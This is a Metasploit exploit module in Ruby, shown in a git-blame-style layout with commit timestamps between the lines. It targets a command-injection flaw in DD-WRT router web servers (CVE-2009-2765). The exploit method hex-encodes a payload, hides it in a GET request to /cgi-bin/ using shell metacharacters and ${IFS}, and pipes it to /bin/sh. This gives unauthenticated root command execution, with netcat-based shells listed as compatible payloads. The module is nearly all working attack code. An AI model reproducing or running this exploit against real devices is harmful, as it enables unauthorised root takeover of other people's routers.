2009-07-21 12:56:42 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2009-11-12 16:13:51 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-07-21 12:56:42 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-07-21 12:56:42 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2009-11-12 16:13:51 +00:00
|
|
|
super(update_info(info,
|
2009-07-21 12:56:42 +00:00
|
|
|
'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module abuses a metacharacter injection vulnerability in the
|
|
|
|
HTTP management server of wireless gateways running DD-WRT. This flaw
|
|
|
|
allows an unauthenticated attacker to execute arbitrary commands as
|
|
|
|
the root user account.
|
|
|
|
},
|
2009-07-23 11:51:24 +00:00
|
|
|
'Author' => [ 'gat3way', 'hdm' ],
|
2009-07-21 12:56:42 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'CVE', '2009-2765'],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '55990' ],
|
2009-07-21 12:56:42 +00:00
|
|
|
[ 'BID', '35742' ],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/9209'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Platform' => ['unix'],
|
2009-11-12 16:13:51 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Privileged' => true,
|
2009-07-21 12:56:42 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'DisableNops' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'RequiredCmd' => 'generic netcat-e'
|
|
|
|
}
|
2009-07-21 12:56:42 +00:00
|
|
|
},
|
2009-11-12 16:13:51 +00:00
|
|
|
'Targets' =>
|
2009-07-21 12:56:42 +00:00
|
|
|
[
|
|
|
|
[ 'Automatic Target', { }]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
2009-11-12 16:13:51 +00:00
|
|
|
|
2009-07-21 12:56:42 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
2009-07-21 15:20:35 +00:00
|
|
|
], self.class)
|
2009-07-21 12:56:42 +00:00
|
|
|
end
|
2009-11-12 16:13:51 +00:00
|
|
|
|
2009-07-21 12:56:42 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2009-11-12 16:13:51 +00:00
|
|
|
cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
|
2009-07-21 12:56:42 +00:00
|
|
|
str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
|
2009-11-12 16:13:51 +00:00
|
|
|
req =
|
2009-07-21 12:56:42 +00:00
|
|
|
"GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
|
|
|
|
"Host: #{rhost}\r\n" +
|
2009-07-23 11:45:32 +00:00
|
|
|
"Content-Length: 0\r\n\r\n"
|
2009-11-12 16:13:51 +00:00
|
|
|
|
2009-07-21 12:56:42 +00:00
|
|
|
print_status("Sending GET request with encoded command line...")
|
|
|
|
sock.put(req)
|
2009-11-12 16:13:51 +00:00
|
|
|
|
2009-07-21 12:56:42 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2009-11-12 16:13:51 +00:00
|
|
|
|